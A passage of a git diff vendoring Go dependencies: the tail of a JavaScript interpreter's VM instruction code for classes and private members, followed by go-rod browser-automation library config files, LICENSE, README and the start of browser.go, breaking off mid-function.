vm.throw(vm.r.NewTypeError("Class extends value does not have valid prototype property")) + return + } + } + superClass = sc + } + } else { + superClass = vm.r.getFunctionPrototype() + } + + proto, cls := c.create(protoParent, superClass, vm, true) + vm.stack[vm.sp-1] = proto + vm.push(cls) + vm.pc++ +} + +// Creates a special instance of *classFuncObject which is only used during evaluation of a class declaration +// to initialise static fields and instance private methods of another class. +type newStaticFieldInit struct { + initFields *Program + numPrivateFields, numPrivateMethods uint32 +} + +func (c *newStaticFieldInit) exec(vm *vm) { + f := vm.r.newClassFunc("", 0, vm.r.getFunctionPrototype(), false) + if c.numPrivateFields > 0 || c.numPrivateMethods > 0 { + vm.createPrivateType(f, c.numPrivateFields, c.numPrivateMethods) + } + f.initFields = c.initFields + f.stash = vm.stash + vm.push(f.val) + vm.pc++ +} + +func (vm *vm) loadThis(v Value) { + if v != nil { + vm.push(v) + } else { + vm.throw(vm.r.newError(vm.r.getReferenceError(), "Must call super constructor in derived class before accessing 'this'")) + return + } + vm.pc++ +} + +type loadThisStash uint32 + +func (l loadThisStash) exec(vm *vm) { + vm.loadThis(*vm.getStashPtr(uint32(l))) +} + +type loadThisStack struct{} + +func (loadThisStack) exec(vm *vm) { + vm.loadThis(vm.stack[vm.sb]) +} + +func (vm *vm) getStashPtr(s uint32) *Value { + level := int(s) >> 24 + idx := s & 0x00FFFFFF + stash := vm.stash + for i := 0; i < level; i++ { + stash = stash.outer + } + + return &stash.values[idx] +} + +type getThisDynamic struct{} + +func (getThisDynamic) exec(vm *vm) { + for stash := vm.stash; stash != nil; stash = stash.outer { + if stash.obj == nil { + if v, exists := stash.getByName(thisBindingName); exists { + vm.push(v) + vm.pc++ + return + } + } + } + vm.push(vm.r.globalObject) + vm.pc++ +} + +type throwConst struct { + v interface{} +} + +func (t throwConst) exec(vm *vm) { + vm.throw(t.v) +} + +type resolveThisStack struct{} + +func (r resolveThisStack) exec(vm *vm) { + vm.refStack = append(vm.refStack, &thisRef{v: (*[]Value)(&vm.stack), idx: vm.sb}) + vm.pc++ +} + +type resolveThisStash uint32 + +func (r resolveThisStash) exec(vm *vm) { + level := int(r) >> 24 + idx := r & 0x00FFFFFF + stash := vm.stash + for i := 0; i < level; i++ { + stash = stash.outer + } + vm.refStack = append(vm.refStack, &thisRef{v: &stash.values, idx: int(idx)}) + vm.pc++ +} + +type resolveThisDynamic struct{} + +func (resolveThisDynamic) exec(vm *vm) { + for stash := vm.stash; stash != nil; stash = stash.outer { + if stash.obj == nil { + if idx, exists := stash.names[thisBindingName]; exists { + vm.refStack = append(vm.refStack, &thisRef{v: &stash.values, idx: int(idx &^ maskTyp)}) + vm.pc++ + return + } + } + } + panic(vm.r.newError(vm.r.getReferenceError(), "Compiler bug: 'this' reference is not found in resolveThisDynamic")) +} + +type defineComputedKey int + +func (offset defineComputedKey) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-int(offset)]) + if h, ok := obj.self.(*classFuncObject); ok { + key := toPropertyKey(vm.stack[vm.sp-1]) + h.computedKeys = append(h.computedKeys, key) + vm.sp-- + vm.pc++ + return + } + panic(vm.r.NewTypeError("Compiler bug: unexpected target for defineComputedKey: %v", obj)) +} + +type loadComputedKey int + +func (idx loadComputedKey) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sb-1]) + if h, ok := obj.self.(*classFuncObject); ok { + vm.push(h.computedKeys[idx]) + vm.pc++ + return + } + panic(vm.r.NewTypeError("Compiler bug: unexpected target for loadComputedKey: %v", obj)) +} + +type initStaticElements struct { + privateFields, privateMethods []unistring.String +} + +func (i *initStaticElements) exec(vm *vm) { + cls := vm.stack[vm.sp-1] + staticInit := vm.r.toObject(vm.stack[vm.sp-3]) + vm.sp -= 2 + if h, ok := staticInit.self.(*classFuncObject); ok { + h._putProp("prototype", cls, true, true, true) // so that 'super' resolution work + h.privEnv = vm.privEnv + if h.privateEnvType != nil { + vm.privEnv.staticType = h.privateEnvType + vm.fillPrivateNamesMap(h.privateEnvType, i.privateFields, i.privateMethods) + } + h._initFields(vm.r.toObject(cls)) + vm.stack[vm.sp-1] = cls + + vm.pc++ + return + } + panic(vm.r.NewTypeError("Compiler bug: unexpected target for initStaticElements: %v", staticInit)) +} + +type definePrivateMethod struct { + idx int + targetOffset int +} + +func (d *definePrivateMethod) getPrivateMethods(vm *vm) []Value { + obj := vm.r.toObject(vm.stack[vm.sp-d.targetOffset]) + if cls, ok := obj.self.(*classFuncObject); ok { + return cls.privateMethods + } else { + panic(vm.r.NewTypeError("Compiler bug: wrong target type for definePrivateMethod: %T", obj.self)) + } +} + +func (d *definePrivateMethod) exec(vm *vm) { + methods := d.getPrivateMethods(vm) + methods[d.idx] = vm.stack[vm.sp-1] + vm.sp-- + vm.pc++ +} + +type definePrivateGetter struct { + definePrivateMethod +} + +func (d *definePrivateGetter) exec(vm *vm) { + methods := d.getPrivateMethods(vm) + val := vm.stack[vm.sp-1] + method := vm.r.toObject(val) + p, _ := methods[d.idx].(*valueProperty) + if p == nil { + p = &valueProperty{ + accessor: true, + } + methods[d.idx] = p + } + if p.getterFunc != nil { + vm.throw(vm.r.NewTypeError("Private getter has already been declared")) + return + } + p.getterFunc = method + vm.sp-- + vm.pc++ +} + +type definePrivateSetter struct { + definePrivateMethod +} + +func (d *definePrivateSetter) exec(vm *vm) { + methods := d.getPrivateMethods(vm) + val := vm.stack[vm.sp-1] + method := vm.r.toObject(val) + p, _ := methods[d.idx].(*valueProperty) + if p == nil { + p = &valueProperty{ + accessor: true, + } + methods[d.idx] = p + } + if p.setterFunc != nil { + vm.throw(vm.r.NewTypeError("Private setter has already been declared")) + return + } + p.setterFunc = method + vm.sp-- + vm.pc++ +} + +type definePrivateProp struct { + idx int +} + +func (d *definePrivateProp) exec(vm *vm) { + f := vm.r.toObject(vm.stack[vm.sb-1]).self.(*classFuncObject) + obj := vm.r.toObject(vm.stack[vm.sp-2]) + penv := obj.self.getPrivateEnv(f.privateEnvType, false) + penv.fields[d.idx] = vm.stack[vm.sp-1] + vm.sp-- + vm.pc++ +} + +type getPrivatePropRes resolvedPrivateName + +func (vm *vm) getPrivateType(level uint8, isStatic bool) *privateEnvType { + e := vm.privEnv + for i := uint8(0); i < level; i++ { + e = e.outer + } + if isStatic { + return e.staticType + } + return e.instanceType +} + +func (g *getPrivatePropRes) _get(base Value, vm *vm) Value { + return vm.getPrivateProp(base, g.name, vm.getPrivateType(g.level, g.isStatic), g.idx, g.isMethod) +} + +func (g *getPrivatePropRes) exec(vm *vm) { + vm.stack[vm.sp-1] = g._get(vm.stack[vm.sp-1], vm) + vm.pc++ +} + +type getPrivatePropId privateId + +func (g *getPrivatePropId) exec(vm *vm) { + vm.stack[vm.sp-1] = vm.getPrivateProp(vm.stack[vm.sp-1], g.name, g.typ, g.idx, g.isMethod) + vm.pc++ +} + +type getPrivatePropIdCallee privateId + +func (g *getPrivatePropIdCallee) exec(vm *vm) { + prop := vm.getPrivateProp(vm.stack[vm.sp-1], g.name, g.typ, g.idx, g.isMethod) + if prop == nil { + prop = memberUnresolved{valueUnresolved{r: vm.r, ref: (*privateId)(g).string()}} + } + vm.push(prop) + + vm.pc++ +} + +func (vm *vm) getPrivateProp(base Value, name unistring.String, typ *privateEnvType, idx uint32, isMethod bool) Value { + obj := vm.r.toObject(base) + penv := obj.self.getPrivateEnv(typ, false) + var v Value + if penv != nil { + if isMethod { + v = penv.methods[idx] + } else { + v = penv.fields[idx] + if v == nil { + panic(vm.r.NewTypeError("Private member #%s is accessed before it is initialized", name)) + } + } + } else { + panic(vm.r.NewTypeError("Cannot read private member #%s from an object whose class did not declare it", name)) + } + if prop, ok := v.(*valueProperty); ok { + if prop.getterFunc == nil { + panic(vm.r.NewTypeError("'#%s' was defined without a getter", name)) + } + v = prop.get(obj) + } + return v +} + +type getPrivatePropResCallee getPrivatePropRes + +func (g *getPrivatePropResCallee) exec(vm *vm) { + prop := (*getPrivatePropRes)(g)._get(vm.stack[vm.sp-1], vm) + if prop == nil { + prop = memberUnresolved{valueUnresolved{r: vm.r, ref: (*resolvedPrivateName)(g).string()}} + } + vm.push(prop) + + vm.pc++ +} + +func (vm *vm) setPrivateProp(base Value, name unistring.String, typ *privateEnvType, idx uint32, isMethod bool, val Value) { + obj := vm.r.toObject(base) + penv := obj.self.getPrivateEnv(typ, false) + if penv != nil { + if isMethod { + v := penv.methods[idx] + if prop, ok := v.(*valueProperty); ok { + if prop.setterFunc != nil { + prop.set(base, val) + } else { + panic(vm.r.NewTypeError("Cannot assign to read only property '#%s'", name)) + } + } else { + panic(vm.r.NewTypeError("Private method '#%s' is not writable", name)) + } + } else { + ptr := &penv.fields[idx] + if *ptr == nil { + panic(vm.r.NewTypeError("Private member #%s is accessed before it is initialized", name)) + } + *ptr = val + } + } else { + panic(vm.r.NewTypeError("Cannot write private member #%s from an object whose class did not declare it", name)) + } +} + +func (vm *vm) exceptionFromValue(x interface{}) *Exception { + var ex *Exception + switch x1 := x.(type) { + case *Object: + ex = &Exception{ + val: x1, + } + if er, ok := x1.self.(*errorObject); ok { + ex.stack = er.stack + } + case Value: + ex = &Exception{ + val: x1, + } + case *Exception: + ex = x1 + case typeError: + ex = &Exception{ + val: vm.r.NewTypeError(string(x1)), + } + case referenceError: + ex = &Exception{ + val: vm.r.newError(vm.r.getReferenceError(), string(x1)), + } + case rangeError: + ex = &Exception{ + val: vm.r.newError(vm.r.getRangeError(), string(x1)), + } + case syntaxError: + ex = &Exception{ + val: vm.r.newError(vm.r.getSyntaxError(), string(x1)), + } + default: + /* + if vm.prg != nil { + vm.prg.dumpCode(log.Printf) + } + log.Print("Stack: ", string(debug.Stack())) + panic(fmt.Errorf("Panic at %d: %v", vm.pc, x)) + */ + return nil + } + if ex.stack == nil { + ex.stack = vm.captureStack(make([]StackFrame, 0, len(vm.callStack)+1), 0) + } + return ex +} + +type setPrivatePropRes resolvedPrivateName + +func (p *setPrivatePropRes) _set(base Value, val Value, vm *vm) { + vm.setPrivateProp(base, p.name, vm.getPrivateType(p.level, p.isStatic), p.idx, p.isMethod, val) +} + +func (p *setPrivatePropRes) exec(vm *vm) { + v := vm.stack[vm.sp-1] + p._set(vm.stack[vm.sp-2], v, vm) + vm.stack[vm.sp-2] = v + vm.sp-- + vm.pc++ +} + +type setPrivatePropResP setPrivatePropRes + +func (p *setPrivatePropResP) exec(vm *vm) { + v := vm.stack[vm.sp-1] + (*setPrivatePropRes)(p)._set(vm.stack[vm.sp-2], v, vm) + vm.sp -= 2 + vm.pc++ +} + +type setPrivatePropId privateId + +func (p *setPrivatePropId) exec(vm *vm) { + v := vm.stack[vm.sp-1] + vm.setPrivateProp(vm.stack[vm.sp-2], p.name, p.typ, p.idx, p.isMethod, v) + vm.stack[vm.sp-2] = v + vm.sp-- + vm.pc++ +} + +type setPrivatePropIdP privateId + +func (p *setPrivatePropIdP) exec(vm *vm) { + v := vm.stack[vm.sp-1] + vm.setPrivateProp(vm.stack[vm.sp-2], p.name, p.typ, p.idx, p.isMethod, v) + vm.sp -= 2 + vm.pc++ +} + +type popPrivateEnv struct{} + +func (popPrivateEnv) exec(vm *vm) { + vm.privEnv = vm.privEnv.outer + vm.pc++ +} + +type privateInRes resolvedPrivateName + +func (i *privateInRes) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-1]) + pe := obj.self.getPrivateEnv(vm.getPrivateType(i.level, i.isStatic), false) + if pe != nil && (i.isMethod && pe.methods[i.idx] != nil || !i.isMethod && pe.fields[i.idx] != nil) { + vm.stack[vm.sp-1] = valueTrue + } else { + vm.stack[vm.sp-1] = valueFalse + } + vm.pc++ +} + +type privateInId privateId + +func (i *privateInId) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-1]) + pe := obj.self.getPrivateEnv(i.typ, false) + if pe != nil && (i.isMethod && pe.methods[i.idx] != nil || !i.isMethod && pe.fields[i.idx] != nil) { + vm.stack[vm.sp-1] = valueTrue + } else { + vm.stack[vm.sp-1] = valueFalse + } + vm.pc++ +} + +type getPrivateRefRes resolvedPrivateName + +func (r *getPrivateRefRes) exec(vm *vm) { + vm.refStack = append(vm.refStack, &privateRefRes{ + base: vm.stack[vm.sp-1].ToObject(vm.r), + name: (*resolvedPrivateName)(r), + }) + vm.sp-- + vm.pc++ +} + +type getPrivateRefId privateId + +func (r *getPrivateRefId) exec(vm *vm) { + vm.refStack = append(vm.refStack, &privateRefId{ + base: vm.stack[vm.sp-1].ToObject(vm.r), + id: (*privateId)(r), + }) + vm.sp-- + vm.pc++ +} + +func (y *yieldMarker) exec(vm *vm) { + vm.pc = -vm.pc // this will terminate the run loop + vm.push(y) // marker so the caller knows it's a yield, not a return +} + +func (y *yieldMarker) String() string { + if y == yieldEmpty { + return "empty" + } + switch y.resultType { + case resultYield: + return "yield" + case resultYieldRes: + return "yieldRes" + case resultYieldDelegate: + return "yield*" + case resultYieldDelegateRes: + return "yield*Res" + case resultAwait: + return "await" + default: + return "unknown" + } +} diff --git a/backend/vendor/github.com/go-rod/rod/.eslintrc.yml b/backend/vendor/github.com/go-rod/rod/.eslintrc.yml new file mode 100644 index 0000000..308cf33 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/.eslintrc.yml @@ -0,0 +1,9 @@ +extends: + - eslint:recommended +env: + browser: true + es6: true +parserOptions: + ecmaVersion: 2018 +plugins: + - html diff --git a/backend/vendor/github.com/go-rod/rod/.gitignore b/backend/vendor/github.com/go-rod/rod/.gitignore new file mode 100644 index 0000000..18f299f --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/.gitignore @@ -0,0 +1,9 @@ +vendor/ +node_modules/ +tmp/ + +.git +.dockerignore +*.out +*.test +*.json diff --git a/backend/vendor/github.com/go-rod/rod/.golangci.yml b/backend/vendor/github.com/go-rod/rod/.golangci.yml new file mode 100644 index 0000000..4622b6c --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/.golangci.yml @@ -0,0 +1,110 @@ +linters: + enable-all: true + disable: + - gochecknoinits + - paralleltest + - wrapcheck + - gosec + - gochecknoglobals + - musttag + - varnamelen + - wsl + - nonamedreturns + - tagliatelle + - nlreturn + - nakedret + - gomnd + - mnd + - err113 + - exhaustruct + - godox + - depguard + - testpackage + - exhaustive + - containedctx + - prealloc + - perfsprint + - ireturn + - contextcheck + - canonicalheader + - copyloopvar + - intrange + + # Deprecated ones: + - execinquery + - structcheck + - interfacer + - deadcode + - varcheck + - ifshort + - exhaustivestruct + - golint + - maligned + - nosnakecase + - scopelint + +linters-settings: + cyclop: + max-complexity: 15 + gocyclo: + min-complexity: 15 + nestif: + min-complexity: 6 + funlen: + lines: 120 + +issues: + exclude-use-default: false + + exclude-rules: + - path: _test.go$ + linters: + - lll + - funlen + - dupword + - goconst + - contextcheck + - errorlint + - testableexamples + - forcetypeassert + + # Generated code + - path: lib/proto/ + linters: + - lll + - gocritic + - dupword + - forcetypeassert + - path: lib/devices/list.go + linters: + - lll + - path: lib/js/helper.go + linters: + - lll + + - path: /fixtures/ + linters: + - forbidigo + + - path: lib/examples/ + linters: + - forbidigo + - noctx + - gocritic + + - path: examples?_test.go$ + linters: + - forbidigo + - noctx + - gocritic + + - path: main.go$ + linters: + - forbidigo + - noctx + - forcetypeassert + - lll + + - path: lib/assets/ + linters: + - lll diff --git a/backend/vendor/github.com/go-rod/rod/.prettierrc.yml b/backend/vendor/github.com/go-rod/rod/.prettierrc.yml new file mode 100644 index 0000000..eca9e73 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/.prettierrc.yml @@ -0,0 +1,3 @@ +semi: false +singleQuote: true +trailingComma: none diff --git a/backend/vendor/github.com/go-rod/rod/LICENSE b/backend/vendor/github.com/go-rod/rod/LICENSE new file mode 100644 index 0000000..2a0a30d --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/LICENSE @@ -0,0 +1,9 @@ +The MIT License + +Copyright 2019 Yad Smood + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/backend/vendor/github.com/go-rod/rod/README.md b/backend/vendor/github.com/go-rod/rod/README.md new file mode 100644 index 0000000..42590c9 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/README.md @@ -0,0 +1,51 @@ +# Overview + +[![Go Reference](https://pkg.go.dev/badge/github.com/go-rod/rod.svg)](https://pkg.go.dev/github.com/go-rod/rod) +[![Discord Chat](https://img.shields.io/discord/719933559456006165.svg)][discord room] + +## [Documentation](https://go-rod.github.io/) | [API reference](https://pkg.go.dev/github.com/go-rod/rod?tab=doc) | [FAQ](https://go-rod.github.io/#/faq/README) + +Rod is a high-level driver directly based on [DevTools Protocol](https://chromedevtools.github.io/devtools-protocol). +It's designed for web automation and scraping for both high-level and low-level use, senior developers can use the low-level packages and functions to easily +customize or build up their own version of Rod, the high-level functions are just examples to build a default version of Rod. + +[中文 API 文档](https://pkg.go.dev/github.com/go-rod/go-rod-chinese) + +## Features + +- Chained context design, intuitive to timeout or cancel the long-running task +- Auto-wait elements to be ready +- Debugging friendly, auto input tracing, remote monitoring headless browser +- Thread-safe for all operations +- Automatically find or download [browser](lib/launcher) +- High-level helpers like WaitStable, WaitRequestIdle, HijackRequests, WaitDownload, etc +- Two-step WaitEvent design, never miss an event ([how it works](https://github.com/ysmood/goob)) +- Correctly handles nested iframes or shadow DOMs +- No zombie browser process after the crash ([how it works](https://github.com/ysmood/leakless)) +- [CI](https://github.com/go-rod/rod/actions) enforced 100% test coverage + +## Examples + +Please check the [examples_test.go](examples_test.go) file first, then check the [examples](lib/examples) folder. + +For more detailed examples, please search the unit tests. +Such as the usage of method `HandleAuth`, you can search all the `*_test.go` files that contain `HandleAuth`, +for example, use Github online [search in repository](https://github.com/go-rod/rod/search?q=HandleAuth&unscoped_q=HandleAuth). +You can also search the GitHub [issues](https://github.com/go-rod/rod/issues) or [discussions](https://github.com/go-rod/rod/discussions), +a lot of usage examples are recorded there. + +[Here](lib/examples/compare-chromedp) is a comparison of the examples between rod and Chromedp. + +If you have questions, please raise an [issues](https://github.com/go-rod/rod/issues)/[discussions](https://github.com/go-rod/rod/discussions) or join the [chat room][discord room]. + +## Join us + +Your help is more than welcome! Even just open an issue to ask a question may greatly help others. + +Please read [How To Ask Questions The Smart Way](http://www.catb.org/~esr/faqs/smart-questions.html) before you ask questions. + +We use Github Projects to manage tasks, you can see the priority and progress of the issues [here](https://github.com/go-rod/rod/projects). + +If you want to contribute please read the [Contributor Guide](.github/CONTRIBUTING.md). + +[discord room]: https://discord.gg/CpevuvY diff --git a/backend/vendor/github.com/go-rod/rod/browser.go b/backend/vendor/github.com/go-rod/rod/browser.go new file mode 100644 index 0000000..bd2045f --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/browser.go @@ -0,0 +1,543 @@ +//go:generate go run ./lib/utils/setup +//go:generate go run ./lib/proto/generate +//go:generate go run ./lib/js/generate +//go:generate go run ./lib/assets/generate +//go:generate go run ./lib/utils/lint + +// Package rod is a high-level driver directly based on DevTools Protocol. +package rod + +import ( + "context" + "reflect" + "strings" + "sync" + "time" + + "github.com/go-rod/rod/lib/cdp" + "github.com/go-rod/rod/lib/defaults" + "github.com/go-rod/rod/lib/devices" + "github.com/go-rod/rod/lib/launcher" + "github.com/go-rod/rod/lib/proto" + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/goob" +) + +// Browser implements these interfaces. +var ( + _ proto.Client = &Browser{} + _ proto.Contextable = &Browser{} +) + +// Browser represents the browser. +// It doesn't depends on file system, it should work with remote browser seamlessly. +// To check the env var you can use to quickly enable options from CLI, check here: +// https://pkg.go.dev/github.com/go-rod/rod/lib/defaults +type Browser struct { + // BrowserContextID is the id for incognito window + BrowserContextID proto.BrowserBrowserContextID + + e eFunc + + ctx context.Context + + sleeper func() utils.Sleeper + + logger utils.Logger + + slowMotion time.Duration // see defaults.slow + trace bool // see defaults.Trace + monitor string + + defaultDevice devices.Device + + controlURL string + client CDPClient + event *goob.Observable // all the browser events from cdp client + targetsLock *sync.Mutex + + // stores all the previous cdp call of same type. Browser doesn't have enough API + // for us to retrieve all its internal states. This is an workaround to map them to local. + // For example you can't use cdp API to get the current position of mouse. + states *sync.Map +} + +// New creates a controller. +// DefaultDevice to emulate is set to [devices.LaptopWithMDPIScreen].Landscape(), it will change the default +// user-agent and can make the actual view area smaller than the browser window on headful mode, +// you can use [Browser.NoDefaultDevice] to disable it. +func New() *Browser { + return (&Browser{ + ctx: context.Background(), + sleeper: DefaultSleeper, + controlURL: defaults.URL, + slowMotion: defaults.Slow, + trace: defaults.Trace, + monitor: defaults.Monitor, + logger: DefaultLogger, + defaultDevice: devices.LaptopWithMDPIScreen.Landscape(), + targetsLock: &sync.Mutex{}, + states: &sync.Map{}, + }).WithPanic(utils.Panic) +} + +// Incognito creates a new incognito browser. +func (b *Browser) Incognito() (*Browser, error) { + res, err := proto.TargetCreateBrowserContext{}.Call(b) + if err != nil { + return nil, err + } + + incognito := *b + incognito.BrowserContextID = res.BrowserContextID + + return &incognito, nil +} + +// ControlURL set the url to remote control browser. +func (b *Browser) ControlURL(url string) *Browser { + b.controlURL = url + return b +} + +// SlowMotion set the delay for each control action, such as the simulation of the human inputs. +func (b *Browser) SlowMotion(delay time.Duration) *Browser { + b.slowMotion = delay + return b +} + +// Trace enables/disables the visual tracing of the input actions on the page. +func (b *Browser) Trace(enable bool) *Browser { + b.trace = enable + return b +} + +// Monitor address to listen if not empty. Shortcut for [Browser.ServeMonitor]. +func (b *Browser) Monitor(url string) *Browser { + b.monitor = url + return b +} + +// Logger overrides the default log functions for tracing. +func (b *Browser) Logger(l utils.Logger) *Browser { + b.logger = l + return b +} + +// Client set the cdp client. +func (b *Browser) Client(c CDPClient) *Browser { + b.client = c + return b +} + +// DefaultDevice sets the default device for new page to emulate in the future. +// Default is [devices.LaptopWithMDPIScreen]. +// Set it to [devices.Clear] to disable it. +func (b *Browser) DefaultDevice(d devices.Device) *Browser { + b.defaultDevice = d + return b +} + +// NoDefaultDevice is the same as [Browser.DefaultDevice](devices.Clear). +func (b *Browser) NoDefaultDevice() *Browser { + return b.DefaultDevice(devices.Clear) +} + +// Connect to the browser and start to control it. +// If fails to connect, try to launch a local browser, if local browser not found try to download one. +func (b *Browser) Connect() error { + if b.client == nil { + u := b.controlURL + if u == "" { + var err error + u, err = launcher.New().Context(b.ctx).Launch() + if err != nil { + return err + } + } + + c, err := cdp.StartWithURL(b.ctx, u, nil) + if err != nil { + return err + } + b.client = c + } else if b.controlURL != "" { + panic("Browser.Client and Browser.ControlURL can't be set at the same time") + } + + b.initEvents() + + if b.monitor != "" { + launcher.Open(b.ServeMonitor(b.monitor)) + } + + return proto.TargetSetDiscoverTargets{Discover: true}.Call(b) +} + +// Close the browser. +func (b *Browser) Close() error { + if b.BrowserContextID == "" { + return proto.BrowserClose{}.Call(b) + } + return proto.TargetDisposeBrowserContext{BrowserContextID: b.BrowserContextID}.Call(b) +} + +// Page creates a new browser tab. If opts.URL is empty, the default target will be "about:blank". +func (b *Browser) Page(opts proto.TargetCreateTarget) (p *Page, err error) { + req := opts + req.BrowserContextID = b.BrowserContextID + req.URL = "about:blank" + + target, err := req.Call(b) + if err != nil { + return nil, err + } + defer func() { + // If Navigate or PageFromTarget fails we should close the target to prevent leak + if err != nil { + _, _ = proto.TargetCloseTarget{TargetID: target.TargetID}.Call(b) + } + }() + + p, err = b.PageFromTarget(target.TargetID) + if err != nil { + return + } + + if opts.URL == "" { + return + } + + err = p.Navigate(opts.URL) + + return +} + +// Pages retrieves all visible pages. +func (b *Browser) Pages() (Pages, error) { + list, err := proto.TargetGetTargets{}.Call(b) + if err != nil { + return nil, err + } + + pageList := Pages{} + for _, target := range list.TargetInfos { + if target.Type != proto.TargetTargetInfoTypePage { + continue + } + + page, err := b.PageFromTarget(target.TargetID) + if err != nil { + return nil, err + } + pageList = append(pageList, page) + } + + return pageList, nil +} + +// Call implements the [proto.Client] to call raw cdp interface directly. +func (b *Browser) Call(ctx context.Context, sessionID, methodName string, params interface{}) (res []byte, err error) { + res, err = b.client.Call(ctx, sessionID, methodName, params) + if err != nil { + return nil, err + } + + b.set(proto.TargetSessionID(sessionID), methodName, params) + return +} + +// PageFromSession is used for low-level debugging. +func (b *Browser) PageFromSession(sessionID proto.TargetSessionID) *Page { + sessionCtx, cancel := context.WithCancel(b.ctx) + return &Page{ + e: b.e, + ctx: sessionCtx, + sessionCancel: cancel, + sleeper: b.sleeper, + browser: b, + SessionID: sessionID, + } +} + +// PageFromTarget gets or creates a Page instance. +func (b *Browser) PageFromTarget(targetID proto.TargetTargetID) (*Page, error) { + b.targetsLock.Lock() + defer b.targetsLock.Unlock() + + page := b.loadCachedPage(targetID) + if page != nil { + return page, nil + } + + session, err := proto.TargetAttachToTarget{ + TargetID: targetID, + Flatten: true, // if it's not set no response will return + }.Call(b) + if err != nil { + return nil, err + } + + sessionCtx, cancel := context.WithCancel(b.ctx) + + page = &Page{ + e: b.e, + ctx: sessionCtx, + sessionCancel: cancel, + sleeper: b.sleeper, + browser: b, + TargetID: targetID, + SessionID: session.SessionID, + FrameID: proto.PageFrameID(targetID), + jsCtxLock: &sync.Mutex{}, + jsCtxID: new(proto.RuntimeRemoteObjectID), + helpersLock: &sync.Mutex{}, + } + + page.root = page + page.newKeyboard().newMouse().newTouch() + + if !b.defaultDevice.IsClear() { + err = page.Emulate(b.defaultDevice) + if err != nil { + return nil, err + } + } + + b.cachePage(page) + + page.initEvents() + + // If we don't enable it, it will cause a lot of unexpected browser behavior. + // Such as proto.PageAddScriptToEvaluateOnNewDocument won't work. + page.EnableDomain(&proto.PageEnable{}) + + return page, nil +} + +// EachEvent is similar to [Page.EachEvent], but catches events of the entire browser. +func (b *Browser) EachEvent(callbacks ...interface{}) (wait func()) { + return b.eachEvent("", callbacks...) +} + +// WaitEvent waits for the next event for one time. It will also load the data into the event object. +func (b *Browser) WaitEvent(e proto.Event) (wait func()) { + return b.waitEvent("", e) +} + +// waits for the next event for one time. It will also load the data into the event object. +func (b *Browser) waitEvent(sessionID proto.TargetSessionID, e proto.Event) (wait func()) { + valE := reflect.ValueOf(e) + valTrue := reflect.ValueOf(true) + + if valE.Kind() != reflect.Ptr { + valE = reflect.New(valE.Type()) + } + + // dynamically creates a function on runtime: + // + // func(ee proto.Event) bool { + // *e = *ee + // return true + // } + fnType := reflect.FuncOf([]reflect.Type{valE.Type()}, []reflect.Type{valTrue.Type()}, false) + fnVal := reflect.MakeFunc(fnType, func(args []reflect.Value) []reflect.Value { + valE.Elem().Set(args[0].Elem()) + return []reflect.Value{valTrue} + }) + + return b.eachEvent(sessionID, fnVal.Interface()) +} + +// If the any callback returns true the event loop will stop. +// It will enable the related domains if not enabled, and restore them after wait ends. +func (b *Browser) eachEvent(sessionID proto.TargetSessionID, callbacks ...interface{}) (wait func()) { + cbMap := map[string]reflect.Value{} + restores := []func(){} + + for _, cb := range callbacks { + cbVal := reflect.ValueOf(cb) + eType := cbVal.Type().In(0) + name := reflect.New(eType.Elem()).Interface().(proto.Event).ProtoEvent() //nolint: forcetypeassert + cbMap[name] = cbVal + + // Only enabled domains will emit events to cdp client. + // We enable the domains for the event types if it's not enabled. + // We restore the domains to their previous states after the wait ends. + domain, _ := proto.ParseMethodName(name) + if req := proto.GetType(domain + ".enable"); req != nil { + enable := reflect.New(req).Interface().(proto.Request) //nolint: forcetypeassert + restores = append(restores, b.EnableDomain(sessionID, enable)) + } + } + + b, cancel := b.WithCancel() + messages := b.Event() + + return func() { + if messages == nil { + panic("can't use wait function twice") + } + + defer func() { + cancel() + messages = nil + for _, restore := range restores { + restore() + } + }() + + for msg := range messages { + if !(sessionID == "" || msg.SessionID == sessionID) { + continue + } + + if cbVal, has := cbMap[msg.Method]; has { + e := reflect.New(proto.GetType(msg.Method)) + msg.Load(e.Interface().(proto.Event)) //nolint: forcetypeassert + args := []reflect.Value{e} + if cbVal.Type().NumIn() == 2 { + args = append(args, reflect.ValueOf(msg.SessionID)) + } + res := cbVal.Call(args) + if len(res) > 0 { + if res[0].Bool() { + return + } + } + } + } + } +} + +// Event of the browser. +func (b *Browser) Event() <-chan *Message { + src := b.event.Subscribe(b.ctx) + dst := make(chan *Message) + go func() { + defer close(dst) + for { + select { + case <-b.ctx.Done(): + return + case e, ok := <-src: + if !ok { + return + } + select { + case <-b.ctx.Done(): + return + case dst <- e.(*Message): //nolint: forcetypeassert + } + } + } + }() + return dst +} + +func (b *Browser) initEvents() { + ctx, cancel := context.WithCancel(b.ctx) + b.event = goob.New(ctx) + event := b.client.Event() + + go func() { + defer cancel() + for e := range event { + b.event.Publish(&Message{ + SessionID: proto.TargetSessionID(e.SessionID), + Method: e.Method, + lock: &sync.Mutex{}, + data: e.Params, + }) + } + }() +} + +func (b *Browser) pageInfo(id proto.TargetTargetID) (*proto.TargetTargetInfo, 